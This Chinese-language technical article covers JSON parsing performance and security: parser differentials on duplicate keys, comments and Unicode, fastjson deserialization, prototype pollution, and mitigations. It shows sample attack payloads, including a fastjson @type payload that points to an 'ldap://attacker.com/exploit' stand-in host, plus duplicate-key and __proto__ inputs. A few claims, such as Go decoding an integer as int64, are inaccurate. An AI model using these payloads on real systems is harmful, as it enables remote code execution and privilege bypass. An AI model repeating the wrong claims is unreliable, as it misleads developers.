2019年,某高频交易公司的Java系统在关键交易时段出现了一次3.2秒的停顿。排查后发现,问题既非网络故障,也非数据库锁死——仅仅是JSON解析器在处理一个16GB的堆对象。这个案例在技术圈并不罕见。

更令人意外的是,在微服务架构中,JSON解析可能消耗高达40%的CPU时间。一个看似简单的JSON.parse()json.loads()调用,背后隐藏着与文本处理、内存分配、类型转换相关的复杂计算链路。而JSON规范的模糊地带,更是为安全漏洞提供了温床。

一个被低估的计算密集型任务

JSON常被贴上"轻量级"的标签。这个描述只对了一半——JSON文本确实是轻量级的,但JSON解析绝非如此。

解析JSON需要完成一系列计算密集型操作:词法分析将字节流切分为token、语法分析构建抽象语法树、类型转换将字符串映射为目标语言的数据结构。每一步都需要CPU参与,且几乎无法并行化。

V8团队的优化工作揭示了这个问题的规模。2025年,他们对JSON.stringify进行了深度优化,通过改进Number.prototype.toString的实现(使用Dragonbox算法),将性能提升了超过一倍。这说明即使在高度优化的JavaScript引擎中,JSON处理仍存在巨大的优化空间。

问题在微服务架构中被放大。每个服务调用都涉及序列化和反序列化,而JSON的文本特性决定了它必须进行完整的字符串解析。LinkedIn的技术团队曾披露,在他们的微服务架构中,JSON序列化开销可以占到请求处理时间的30-40%。这不是个例——随着服务拆分粒度变细,服务间通信频率上升,JSON解析成本会线性增长。

内存代价:隐藏的放大器

JSON解析的内存开销远超直觉判断。一个100MB的JSON文件,解析后可能占用400-600MB内存。

原因在于JSON的文本表示与内存表示存在本质差异。文本中的字符串是连续的字节序列,而解析后的字符串对象需要独立的内存块、长度字段、编码信息。文本中的数字可能只有几个字节,但解析后需要完整的整数或浮点数对象(在JavaScript中是8字节,在Java中可能需要16字节甚至更多包装对象的开销)。

graph LR
    A[JSON文本 100MB] --> B[词法分析]
    B --> C[语法分析]
    C --> D[类型转换]
    D --> E[内存对象 400-600MB]
    
    style A fill:#e1f5fe
    style E fill:#ffebee

nlohmann/json库的开发者在GitHub issue中记录了一个典型案例:解析700MB的JSON文件导致进程占用近9GB内存——超过10倍的放大比例。这不是库的实现问题,而是DOM式解析的固有特性:所有数据都需要同时在内存中构建完整的对象树。

数字陷阱:精度在传输中悄然消失

RFC 8259对JSON数字的定义是"语法层面"的:一串数字字符,可选的小数点和指数部分。规范没有规定数字的精度范围,也没有要求解析器如何处理超出表示范围的值。

这导致了一个令人不安的现实:同一个JSON文档,不同的解析器可能产生完全不同的数值结果

大整数:被截断的真相

考虑这个JSON数字:

{"balance": 9007199254740993}

在JavaScript中,这个数字会被"悄悄"改变:

JSON.parse('{"balance": 9007199254740993}').balance
// 输出: 9007199254740992 (注意最后一位从3变成了2)

JavaScript的Number类型是IEEE 754双精度浮点数,能精确表示的最大整数是2^53 - 1 = 9007199254740991。超过这个范围的整数会丢失精度。更麻烦的是,这种精度丢失是静默的——没有警告,没有异常,只是结果错了。

Bishop Fox的研究团队发现,对于极大的数字,不同解析器的行为差异更大:

输入 Python json Go jsonparser Java Jackson
1e4096 “Infinity” 0 “Infinity”
99…9(96位) 字符串原值 0 MAX_INT

这些差异可能导致严重的业务漏洞。一个极端的例子:购物车服务验证数量为合法大整数后,转发给支付服务处理时被截断为0,导致用户以零元购买商品。

浮点数:永不终结的精度战争

JSON没有"整数类型"的概念——所有数字在规范中都是等价的。这意味着解析器需要自行判断一个数字应该解析为整数还是浮点数。

Go语言的encoding/json包在这个问题上采用了一个启发式策略:如果数字看起来像整数(没有小数点或指数),且在int64范围内,就解析为整数;否则解析为float64。这导致了诡异的行为:

// 这两个数字在JSON中看起来一样,但解析结果类型不同
var x interface{}
json.Unmarshal([]byte("9007199254740992"), &x)  // float64
json.Unmarshal([]byte("9007199254740991"), &x)  // int64

类型的不一致会在后续处理中引发问题,特别是当JSON需要在不同语言的服务之间传递时。一个Python服务可能将所有大整数保持为字符串,而Java服务则尝试将其解析为Long,两者的行为完全不同。

重复键:规范留给攻击者的后门

RFC 8259对重复键的处理态度暧昧:

当对象中的名称不唯一时,接收该对象的软件行为是不可预测的。许多实现仅报告最后一个名称/值对。其他实现报告错误或拒绝解析对象,还有些实现报告所有名称/值对,包括重复的。

这段文字使用了"descriptive"(描述性)而非"prescriptive"(规范性)的语气——规范没有强制要求,只是列出了可能的行为。结果是,不同语言的JSON解析器对重复键的处理方式存在系统性差异

重复键优先级差异

Bishop Fox对49个主流JSON解析器的调查显示:

优先级 解析器
最后一个键生效 Python stdlib, JavaScript V8, Ruby OJ, Java Gson, C# Newtonsoft
第一个键生效 Go jsonparser, Go gojay, C++ rapidjson, Java json-iterator, Elixir Jason

这种差异可以被武器化。考虑一个典型的微服务场景:购物车服务(Python)验证请求后,转发原始JSON给支付服务(Go)。攻击者构造一个包含重复qty字段的请求:

{
    "cart": [
        {
            "id": 1,
            "qty": -1,
            "qty": 1
        }
    ]
}

购物车服务使用Python解析,qty取最后一个值(1),通过验证。但支付服务使用Go的jsonparser,qty取第一个值(-1),可能导致负数金额计算。

这不是假设。Kubernetes曾因类似问题发布CVE-2019-11253,攻击者可以构造包含重复键的YAML/JSON负载,导致API Server资源耗尽。

注释截断:另一种键碰撞

某些JSON解析器支持非标准特性,如注释。两个对注释支持程度不同的解析器可能对同一文档产生不同解读:

{"test": 1, "extra": "a"/*, "test": 2, "extra2": "b"*/}

支持注释的解析器(如Ruby的simdjson)可能解析出test: 2,而不支持注释的解析器(如Java的Gson)可能解析出test: 1。这种"特性不一致"在JSON5、HJSON等超集规范中更加普遍。

Unicode:编码层面的攻击向量

RFC 8259要求JSON文本使用UTF-8编码,但直到2017年的修订版才明确这一点。在此之前,许多解析器对编码的处理相当宽松。

非法Unicode导致的键碰撞

Unicode代理对(U+D800至U+DFFF)在UTF-8中是非法的,但某些解析器会接受它们。这导致了另一种键碰撞攻击:

{"test": 1, "test\ud800": 2}

Python 2的ujson解析器会截断非法代理对,将test\ud800解析为test,导致键碰撞。攻击者可以利用这个特性绕过权限检查——创建一个名为superadmin\ud888的角色,存储后某些解析器会将其视为superadmin

BOM陷阱

UTF-8 BOM(Byte Order Mark,字节顺序标记)是另一个常见问题。某些工具(特别是Windows平台的)会在UTF-8文件开头插入BOM(EF BB BF),而JSON规范没有明确说明如何处理这种情况。

一个以BOM开头的JSON文件在某些解析器中会解析失败,在另一些解析器中会被正常处理。当不同服务对同一份配置文件的解析行为不一致时,可能导致难以调试的配置问题。

反序列化漏洞:从数据到代码执行

JSON解析的安全问题不仅限于解析器行为差异。当解析器与对象绑定机制结合时,可能引发更严重的漏洞。

fastjson:一个库的十年漏洞史

阿里巴巴的fastjson库曾是国内Java生态中最流行的JSON解析库。但其"AutoType"特性——允许在JSON中指定反序列化的目标类型——导致了持续多年的安全噩梦。

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com/exploit",
    "autoCommit": true
}

这段JSON在存在漏洞的fastjson版本中会触发JNDI注入,导致远程代码执行。从2017年首次披露AutoType漏洞,到2022年CVE-2022-25845,fastjson经历了至少十余次绕过补丁的攻击。维护者不得不引入黑名单、白名单、安全检查等多种防护机制,但攻击者总能找到新的绕过方式。

fastjson的教训说明:JSON解析器的安全边界远比想象中脆弱。当一个解析器试图提供"便利特性"(如自动类型推断、动态对象创建)时,往往也打开了潘多拉的盒子。

原型污染:JavaScript的特有风险

在JavaScript生态中,JSON解析还面临另一个威胁:原型污染。当JSON对象包含__proto__constructorprototype等特殊键时,可能污染全局对象原型:

const malicious = JSON.parse('{"__proto__": {"admin": true}}');
// 可能污染Object.prototype,影响后续所有对象

2025年,安全研究人员披露了一个影响广泛的漏洞:Node.js应用中,如果将用户控制的JSON直接合并到配置对象,攻击者可以污染原型链,实现权限提升或拒绝服务攻击。

优化路径:在性能与安全间寻找平衡

流式解析:突破内存瓶颈

对于大文件,DOM式解析的内存代价难以接受。流式解析(SAX风格)提供了一个替代方案:解析器逐个token处理输入,用户代码在解析过程中处理数据,无需构建完整的内存对象。

Python的ijson库、Java的Jackson Streaming API、Go的json.Decoder都支持这种模式:

import ijson

# 流式解析,内存占用与JSON大小无关
with open('large.json', 'rb') as f:
    for item in ijson.items(f, 'item'):
        process(item)  # 逐条处理,无需加载全部数据

美团技术团队分享过一个案例:将Gson替换为支持流式解析的自定义解析器后,处理2GB日志文件的内存占用从16GB降至200MB。

SIMD加速:硬件层面的突破

simdjson项目展示了JSON解析性能的另一种可能性。通过利用SIMD(单指令多数据)指令集并行处理多个字节,simdjson在Skylake处理器上实现了超过2GB/s的解析速度——比传统解析器快10倍以上。

simdjson的核心洞察是:JSON解析的大部分工作是"找结构"——定位引号、冒号、逗号、括号。这些操作可以用位向量并行处理。一个AVX-512寄存器可以同时检查64个字节,将原本逐字节的扫描变为块处理。

但simdjson的适用场景有限:它是C++库,主要用于服务端解析大文件。对于浏览器或嵌入式环境,JavaScript或Python等语言的解析器仍需依赖解释器层面的优化。

二进制替代:跳出JSON的陷阱

当性能至关重要时,放弃JSON可能是最佳选择。

格式 序列化速度 反序列化速度 数据大小
JSON 基准 基准 基准
MessagePack 1.5-2x更快 2-3x更快 30-50%更小
Protobuf 3-5x更快 5-10x更快 50-70%更小

这些二进制格式不仅在性能上占优,更重要的是它们有严格的模式定义。Protobuf的.proto文件明确定义了字段类型,消除了JSON中的类型歧义问题。当服务需要处理大量结构化数据时,从JSON迁移到二进制格式可以带来数量级的性能提升。

防护策略:降低攻击面

输入验证:在解析前拦截

在JSON数据进入解析器之前进行验证,是降低攻击面的第一道防线。具体措施包括:

  • 限制输入大小:设置合理的请求体大小限制,防止资源耗尽攻击
  • 深度限制:限制JSON对象的嵌套深度,防止栈溢出
  • 键唯一性检查:在解析前检查是否存在重复键(部分解析器支持此选项)

解析器选择:安全优先

选择JSON解析库时,安全性应与性能同等重要。一些考量因素:

  • 禁用非标准特性:关闭注释支持、宽松模式等可能引入不一致行为的特性
  • 选择严格模式解析器:部分解析器提供严格模式,拒绝不规范输入
  • 保持更新:及时更新到最新版本,修复已知安全漏洞

类型安全:消除歧义

对于关键业务数据,避免将JSON直接解析为动态类型对象。使用强类型的数据绑定:

// 不要这样做
Object data = new JSONParser().parse(input);

// 这样做
UserData data = objectMapper.readValue(input, UserData.class);

强类型绑定不仅在编译期提供类型检查,还能在反序列化失败时提供明确的错误信息,而非静默地产生错误数据。


JSON的简洁性是其成功的关键,但这份简洁背后隐藏着复杂的工程考量。从性能角度看,JSON解析是计算密集型任务,在微服务架构中可能成为显著的瓶颈。从安全角度看,规范的模糊地带为攻击者提供了可乘之机。

这不是说JSON是"坏的"——它是现代Web生态的基石,在大多数场景下仍然是数据交换的最佳选择。但了解其代价和风险,才能在架构设计时做出明智的权衡。当系统规模扩大到JSON解析成为瓶颈时,是时候考虑流式解析或二进制格式了。

参考

  1. Langdale, J., & Lemire, D. (2019). Parsing Gigabytes of JSON per Second. VLDB Endowment.
  2. Bishop Fox. (2021). An Exploration & Remediation of JSON Interoperability Vulnerabilities.
  3. RFC 8259. (2017). The JavaScript Object Notation (JSON) Data Interchange Format. IETF.
  4. V8 Blog. (2025). How we made JSON.stringify more than twice as fast.
  5. NVD. CVE-2022-25845: Fastjson autoType Bypass RCE.
  6. Knownsec 404 Team. (2020). Fastjson Deserialization Vulnerability History.
  7. OWASP Cheat Sheet Series. Deserialization Cheat Sheet. 8.美团技术团队. (2018). MSON,让JSON序列化更快.
  8. PortSwigger. (2025). Prototype Pollution.
  9. go-json-experiment/jsonbench. (2025). JSON Benchmarks for Go.